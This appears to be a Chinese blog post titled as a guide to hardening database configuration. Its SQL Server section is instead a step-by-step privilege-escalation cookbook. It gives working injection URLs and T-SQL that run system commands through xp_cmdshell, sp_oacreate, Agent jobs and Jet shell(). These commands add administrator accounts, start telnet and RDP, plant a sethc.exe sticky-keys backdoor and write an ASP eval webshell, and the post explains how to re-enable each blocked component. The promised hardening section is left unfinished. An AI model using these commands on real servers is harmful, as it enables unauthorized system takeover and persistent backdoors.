Database Configuration Security Reinforcement(undone)

目录

1. 引言
2. Mysql
3. Sqlserver

1. 引言

黑客获取了数据库的帐号密码之后,就可以通过Database Client登录数据库,利用SQL指令、数据库指令执行组件进行进一步的提权渗透操作

2. Mysql

3. Sqlserver

0x1: 指令执行加固

1. 创建系统账户

利用MSSQL的脚本命令提权,前提是我们要能够以SA或者具有SA权限的用户的身份登录进去,可以使用弱口令猜解或者利用sql注入点来运行脚本命令,添加sa账户

1. 创建系统账户
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"--
/*
因为MSSQL的查询语句允许一条指令中包含两条的命令,所以可以利用这个sql注入漏洞来执行脚本命令

如果出现:
SQL Server 阻止了对组件 ‘xp_cmdshell‘ 的过程‘sys.xp_cmdshell‘ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell‘。有关启用 ‘xp_cmdshell‘ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
则必须先开启xp_cmdshell的组件

EXEC master..xp_cmdshell ‘ipconfig‘
-- To allow advanced options to be changed.
EXEC sp_configure ‘show advanced options‘, 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure ‘xp_cmdshell‘, 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
*/

Relevant Link:

http://wenku.baidu.com/view/f32d873331126edb6f1a1022.html?qq-pf-to=pcqq.c2c
http://baike.baidu.com/view/3637250.htm?qq-pf-to=pcqq.c2c
http://baike.baidu.com/link?url=jAh-Wu-HPBPl6X88gNr7oKf80ilat5H_XA37jIO81MT60_HJiKsEIy3VFioX7M1HWT_Jt_O-GPygEoyob6DH6K&qq-pf-to=pcqq.c2c
http://www.51safe.net/article/Skills/mssql-injection-conmmand.htm

2. 创建数据库的登录账户(注意和系统的登录账户区分开来)

exec master.dbo.sp_addlogin little,123456;--
go
exec master.dbo.sp_addsrvrolemember little,sysadmin;--
go

3. 开启3389或者telnet
这里注意一下,telnet的服务名不是telnet,而是tlntsvr,我们要命令开启服务的时候要输入的是这个服务器名tlntsvr,而不是显示名telnet

//telnet
xp_servicecontrol ‘start‘,‘tlntsvr‘

如果开启了telnet服务之后,我们用系统账户去登入出现了下面的提示:
Failure in initializing the telnet session. Shell process may not have been laun
ched.
Telnet Server has closed the connection
则可以尝试再开启:seclogon服务
xp_servicecontrol ‘start‘,‘seclogon‘
可能能解决问题

//3389远程桌面的服务名是:termservice
xp_servicecontrol ‘start‘,‘termservice‘

4. sp_oacreate

1. 创建用户
use master
go
declare @o int
exec sp_oacreate ‘wscript.shell‘,@o out
exec sp_oamethod @o,‘run‘,null,‘cmd /c "net user little 123456 /add"‘

2. 开启服务
use master
go
declare @o int
exec sp_oacreate ‘wscript.shell‘,@o out
exec sp_oamethod @o,‘run‘,null,‘cmd /c "net start tlntsvr"‘
//cmd命令可以任意

/*
如果出现:
SQL Server 阻止了对组件 ‘Ole Automation Procedures‘ 的 过程‘sys.sp_OACreate‘ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures‘。有关启用 ‘Ole Automation Procedures‘ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"
可以尝试开启 Ole Automation Procedures 组件
sp_configure ‘show advanced options‘, 1;
GO
RECONFIGURE;
GO
sp_configure ‘Ole Automation Procedures‘, 1;
GO
RECONFIGURE;
GO
EXEC sp_configure ‘Ole Automation Procedures‘;
GO
*/

5. scripting.filesystemobject

declare @o int
exec sp_oacreate ‘scripting.filesystemobject‘, @o out
exec sp_oamethod @o, ‘copyfile‘,null,‘c:\windows\system32\cmd.exe‘ ,‘c:\windows\system32\sethc.exe‘;
declare @oo int
exec sp_oacreate ‘scripting.filesystemobject‘, @oo out exec sp_oamethod @oo, ‘copyfile‘,null,‘c:\windows\system32\sethc.exe‘ ,‘c:\windows\system32\dllcache\sethc.exe‘;
/*
这样在3389的登入窗口处就等于布置下了一个后门,只要按5此shift键就能触发后门,而且,以这种方式登入的权限是NT系统权限,比administrator大一些
*/

6. Shell.Application

declare @o int
exec sp_oacreate ‘Shell.Application‘, @o out
exec sp_oamethod @o, ‘ShellExecute‘,null, ‘cmd.exe‘,‘cmd /c net user little /add‘,‘c:\windows\system32‘,‘‘,1;

7. Shell.Application

1. 开启SQLSERVERAGENT服务
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务
exec master.dbo.xp_servicecontrol ‘start‘,‘SQLSERVERAGENT‘

2. 执行指令
use msdb
create table [jncsql](resulttxt nvarchar(1024) null)
exec sp_delete_job null,‘x‘ exec sp_add_job ‘x‘
exec sp_add_jobstep null,‘x‘,null,‘1‘,‘cmdexec‘,‘cmd /c "net user little /add"‘
exec sp_add_jobserver
null,‘x‘,@@servername exec sp_start_job ‘x‘;

8. SandBoxMode(沙盒模式)

在access里调用VBS的shell函数,以system权限执行任何命令

1. 打开SandBoxmode
//使用这个函数之前必须把注册表里的SandBoxmode开关打开
注册表:
HKEY_LOCAL_MACHINE\SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode
Exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE‘,‘SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode‘
默认值为2,这个人键值为0表示开启
    1) 修复注册表的读写
    use master
    go
    dbcc addextendedproc (‘xp_regread‘,‘xpstar.dll‘)
    dbcc addextendedproc (‘xp_regwrite‘,‘xpstar.dll‘)

    2) 修改沙盒的保护模式
    EXEC master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1

2. 查看‘SandBoxMode‘值是否已经变成0了(1或0都可以执行命令)
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘

3. 最后调用沙盒模式
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0‘,‘;Database=C:\windows\system32\ias\ias.mdb‘,‘select shell("net user little 123456 /add")‘);

4. cmd.exe的权限不对,是不会有回显的
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=E:\web\ias.mdb‘,‘select shell("E:\web\cmd.exe /c E:\web\net.exe user user little 123456 /add")‘)

5. 可以输入一下命令来执行命令
EXEC sp_addlinkedserver ‘testsql‘,‘OLE DB Provider for Jet‘,‘Microsoft.Jet.OLEDB.4.0‘,‘c:\windows\system32\ias\ias.mdb‘
EXEC master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1
EXEC master..xp_regread  HKEY_LOCAL_MACHINE ,‘Software\Microsoft\Jet\4.0\engines‘,‘SandBoxMode‘
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net user little 123456 /add")‘)
select * from openrowset(‘microsoft.jet.oledb.4.0‘,
‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net localgroup administrators little /add")‘)
/*
如果出现:
SQL Server 阻止了对组件 ‘Ad Hoc Distributed Queries‘ 的 STATEMENT‘OpenRowset/OpenDatasource‘ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ad Hoc Distributed Queries‘。有关启用 ‘Ad Hoc Distributed Queries‘ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"尝试:
启用Ad Hoc Distributed Queries:
exec sp_configure ‘show advanced options‘,1
reconfigure
exec sp_configure ‘Ad Hoc Distributed Queries‘,1
reconfigure   

使用完成后,关闭Ad Hoc Distributed Queries:
exec sp_configure ‘Ad Hoc Distributed Queries‘,0
reconfigure
exec sp_configure ‘show advanced options‘,0
reconfigure
*/

Relevant Link:

http://security.zdnet.com.cn/security_zone/2011/0808/2051363.shtml

9. 直接备份一句话木马

exec sp_makewebtask ‘WEB绝对路径/fuck.asp‘,‘ select ‘‘<%eval request("op")%>‘‘ ‘;--
//WEB与DATA在同一主机,知道WEB目录 

例如:
exec sp_makewebtask ‘C:\Inetpub\wwwroot\fuck.asp‘,‘ select ‘‘<%eval request("op")%>‘‘ ‘;--

/*
如果出现了:
SQL Server 阻止了对组件 ‘Web Assistant Procedures‘ 的 过程‘sys.xp_makewebtask‘ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Web Assistant Procedures‘。有关启用 ‘Web Assistant Procedures‘ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

可以尝试
sp_configure ‘show advanced options‘, 1;
GO
RECONFIGURE;
GO
sp_configure ‘Web Assistant Procedures‘, 1;
GO
RECONFIGURE
GO
*/

10. 操作注册表

除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表

exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\services\LanmanServer\Parameters‘, ‘Guid‘
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

11. 其他命令

1. xp_servicecontrol: 允许用户启动、停止服务
exec master..xp_servicecontrol ‘start‘, ‘schedule‘

2. exec master..xp_availablemedia: 显示机器上有用的驱动器

3. exec master..xp_dirtree: 允许获得一个目录树

4. exec master..xp_enumdsn: 列举服务器上的ODBC数据源

5. exec master..xp_loginconfig: 获取服务器上的安全信息

6. exec master..xp_makecab: 允许用户在服务器上创建一个压缩文件

7. exec master..xp_ntsec_enumdomains: 列举服务器可以进入的域

8. exec master..xp_terminate_process: 提供进程的进程ID,终止此进程

Relevant Link:

http://blog.csdn.net/it_zen/article/details/1545725

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-21 19:45:56

Database Configuration Security Reinforcement(undone)的相关文章

Tomcat Server Configuration Automation Reinforcement(undone)

目录 0. 引言 1. 黑客针对WEB Server会有那些攻击面 2. 针对Tomcat Server可以做的安全加固 3. Managing Security Realms with JMX 4. 实现对TOMCAT配置信息的动态修改(hot dynamic edit) 5. Tomcat后台manager页面禁用 0. 引言 WEB容器(WEB Server)是运行在操作系统上的一个应用级软件,对服务器的配置(config文件)进行加固处理是防御WEB相关漏洞的一个有效的手段.对于实现WE

oracl使用DataBase Configuration Assistant创建、删除数据库

原文:oracl使用DataBase Configuration Assistant创建.删除数据库 可以使用DataBase Configuration Assistant来创建一个心得数据库.Database Configuration Assistant简称是DBCA,是创建.配置以及管理数据库的一个工具. 一.创建数据库的一个具体的步骤: 1. 点击“开始”-“所有程序”-“Oracle”-“配置和移植工具”-“Database Configuration Assistant” 或者 

安装Orcacle后使用DBCA(Database Configuration Assistant)卡住的问题

转自:http://hi.baidu.com/kissbaofish/item/2f56d326742c39454799620b 用dbca建库停在46% 是export NLS_LANG='american_america.ZHS16GBK'export NLS_LANG="SIMPLIFIED CHINESE_CHINA.ZHS16GBK的问题啊, oracle 11gr2 dbca 到85%的时候 卡住了 重新创建的时候,把enterprise manager的勾给check out了,就

[INS-20802] Oracle Database Configuration Assistant 失败

1.错误原因    [INS-20802] Oracle Database Configuration Assistant 失败 2.错误原因 3.解决办法

IIS FTP Server Anonymous Writeable Reinforcement, WEBDAV Anonymous Writeable Reinforcement(undone)

目录 0. 引言 1. IIS 6.0 FTP匿名登录.匿名可写加固 2. IIS 7.0 FTP匿名登录.匿名可写加固 3. IIS 6.0 Anonymous PUT(WEBDAV匿名可写)加固 4. IIS 7.0 Anonymous PUT(WEBDAV匿名可写)加固 5. IIS ISAPI Filter(isapiFilters) 6. IIS Extension 7. IIS FTP匿名登录的自动化修复 8. IIS WEBDAV匿名访问的自动化修复 9. IIS 恶意Filter

P6 Professional Installation and Configuration Guide (Microsoft SQL Server Database) 16 R1

P6 Professional Installation and Configuration Guide (Microsoft SQL Server Database) 16 R1       May 2016 Contents About This Guide...................................................................................... 11 Shared Topics in This Guide .

Spring Security笔记:使用数据库进行用户认证(form login using database)

在前一节,学习了如何自定义登录页,但是用户名.密码仍然是配置在xml中的,这样显然太非主流,本节将学习如何把用户名/密码/角色存储在db中,通过db来实现用户认证 一.项目结构 与前面的示例相比,因为要连接db,所以多出了一个spring-database.xml用来定义数据库连接,此外,为了演示登录用户权限不足的场景,加了一个页面403.jsp,用来统一显示权限不足的提示信息 二.数据库表结构(oracle环境) 1 create table T_USERS 2 ( 3 d_username

P6 EPPM Manual Installation Guide (Oracle Database)

Contents Oracle Database Manual Configuration Overview ,,★★5 Oracle Database Installation ,,★★6 Creating the Database Structure for Oracle and Loading Application Data ,,★★7 Creating the P6 EPPM Database Structure for Oracle ,,★★7 Copying the Script

P6 EPPM Installation and Configuration Guide 16 R1 April 2016

P6 EPPM Installation and Configuration Guide 16 R1         April 2016 Contents About Installing and Configuring P6 EPPM ........................................................ 6 Prerequisites for P6 EPPM Configuration ...............................